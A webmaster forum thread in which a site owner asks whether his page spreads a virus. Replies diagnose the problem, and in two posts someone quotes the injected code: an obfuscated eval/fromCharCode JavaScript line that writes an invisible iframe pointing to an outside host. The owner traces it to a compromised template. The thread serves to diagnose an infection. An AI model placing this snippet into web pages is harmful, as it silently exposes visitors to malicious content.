does this page load virus for you?

Collapse
X
 
  • Time
  • Show
Clear All
new posts
  • zentz
    Confirmed User
    • Nov 2003
    • 8062

    #1

    does this page load virus for you?

    http://www.studvids.com/main.php

    My norton av reports a virus.

    Risk name: http winzip activex control killbit

    This is my page and i really dont know where is the virus coming from.
    Programs that owe me money ---- Epassporte.com ~ $2700 | Protraffic.com ~ $2600 | XonDemand.com ~ $3000

    Email: [email protected]
  • StarkReality
    Confirmed User
    • May 2004
    • 4444

    #2
    Looking at your code, you seem to use linkex, which can be exploited, any code can be inserted/run on your site as long as you don't use a fixed version...if there is already any.

    Too lazy to dig the post, but the exploit was published here on GFY.

    Well, best explanation I could find.

    Comment

    • Pleasurepays
      BANNED - SUPPORTING TUBES
      • Aug 2002
      • 11913

      #3
      whats next? are you going to ask someone to stand in front of you pointing a gun at them while you pull the trigger to find out if its loaded?

      jesus.

      Comment

      • StarkReality
        Confirmed User
        • May 2004
        • 4444

        #4
        Originally posted by Pleasurepays
        whats next? are you going to ask someone to stand in front of you pointing a gun at them while you pull the trigger to find out if its loaded?

        jesus.
        Just run a sandoxed browser on stuff like this

        Comment

        • The Duck
          Adult Content Provider
          • May 2005
          • 18243

          #5
          I dont really want to.
          Skype Horusmaia
          ICQ 41555245
          Email [email protected]

          Comment

          • Fletch XXX
            GFY HALL OF FAME DAMMIT!!!
            • Jan 2002
            • 60840

            #6
            *sending this link to mom*

            Want an Android App for your tube, membership, or free site?

            Need banners or promo material? Hit us up (ICQ Fletch: 148841377) or email me fletchxxx at gmail.com - recent work - About me

            Comment

            • Corleone
              C.R.E.A.M
              • Apr 2003
              • 15262

              #7
              Originally posted by Pleasurepays
              whats next? are you going to ask someone to stand in front of you pointing a gun at them while you pull the trigger to find out if its loaded?

              jesus.

              Comment

              • Spunky
                I need a beer
                • Jun 2002
                • 133978

                #8
                Yes,my Norton blocked an attempt

                Comment

                • Spunky
                  I need a beer
                  • Jun 2002
                  • 133978

                  #9
                  Yes,my Norton blocked an attempt

                  Comment

                  • Quickdraw
                    Confirmed User
                    • Mar 2004
                    • 1717

                    #10
                    here is the code if that helps. It produces an iframe to potipeople.info/index.php

                    Code:
                     language="JavaScript"> eval(unescape("document.write%28String.fromCharCode%2860%2C105%2C102%2C114%2C97%2C109%2C101%2C32%2C115%2C114%2C99%2C61%2C34%2C104%2C116%2C116%2C112%2C58%2C47%2C47%2C112%2C111%2C116%2C105%2C112%2C101%2C111%2C112%2C108%2C101%2C46%2C105%2C110%2C102%2C111%2C47%2C47%2C105%2C110%2C100%2C101%2C120%2C46%2C112%2C104%2C112%2C34%2C32%2C119%2C105%2C100%2C116%2C104%2C61%2C34%2C48%2C34%2C32%2C104%2C101%2C105%2C103%2C104%2C116%2C61%2C34%2C48%2C34%2C62%2C60%2C47%2C105%2C102%2C114%2C97%2C109%2C101%2C62%29%29%3B"));

                    Comment

                    • zentz
                      Confirmed User
                      • Nov 2003
                      • 8062

                      #11
                      Originally posted by Quickdraw
                      here is the code if that helps. It produces an iframe to potipeople.info/index.php

                      Code:
                       language="JavaScript"> eval(unescape("document.write%28String.fromCharCode%2860%2C105%2C102%2C114%2C97%2C109%2C101%2C32%2C115%2C114%2C99%2C61%2C34%2C104%2C116%2C116%2C112%2C58%2C47%2C47%2C112%2C111%2C116%2C105%2C112%2C101%2C111%2C112%2C108%2C101%2C46%2C105%2C110%2C102%2C111%2C47%2C47%2C105%2C110%2C100%2C101%2C120%2C46%2C112%2C104%2C112%2C34%2C32%2C119%2C105%2C100%2C116%2C104%2C61%2C34%2C48%2C34%2C32%2C104%2C101%2C105%2C103%2C104%2C116%2C61%2C34%2C48%2C34%2C62%2C60%2C47%2C105%2C102%2C114%2C97%2C109%2C101%2C62%29%29%3B"));
                      now how did that come here!
                      Programs that owe me money ---- Epassporte.com ~ $2700 | Protraffic.com ~ $2600 | XonDemand.com ~ $3000

                      Email: [email protected]

                      Comment

                      • Lonny
                        Confirmed User
                        • Jun 2003
                        • 3539

                        #12
                        my antivir blocked an attempt.

                        Comment

                        • zentz
                          Confirmed User
                          • Nov 2003
                          • 8062

                          #13
                          the exploit was in my ATX toplist template. now to find out how did that come over there.
                          Programs that owe me money ---- Epassporte.com ~ $2700 | Protraffic.com ~ $2600 | XonDemand.com ~ $3000

                          Email: [email protected]

                          Comment

                          • mattz
                            Confirmed User
                            • Dec 2001
                            • 7697

                            #14
                            zents off topic here but I never see ya on icq anymore, can I renew my pa?

                            Comment

                            • peterk
                              Confirmed User
                              • Aug 2007
                              • 3529

                              #15
                              Yes indeed, my antivir blocked it
                              Bogat mama ala cu loturi de trafic

                              Comment

                              • zentz
                                Confirmed User
                                • Nov 2003
                                • 8062

                                #16
                                Originally posted by peterk
                                Yes indeed, my antivir blocked it
                                hehe you're just collecting posts, i removed the exploit 30 minutes ago ;)
                                Programs that owe me money ---- Epassporte.com ~ $2700 | Protraffic.com ~ $2600 | XonDemand.com ~ $3000

                                Email: [email protected]

                                Comment

                                • Will Saucebox
                                  Confirmed User
                                  • Nov 2006
                                  • 170

                                  #17
                                  ah just a sec...let me check...lol
                                  ICQ: 483-976-163

                                  Comment

                                  Working...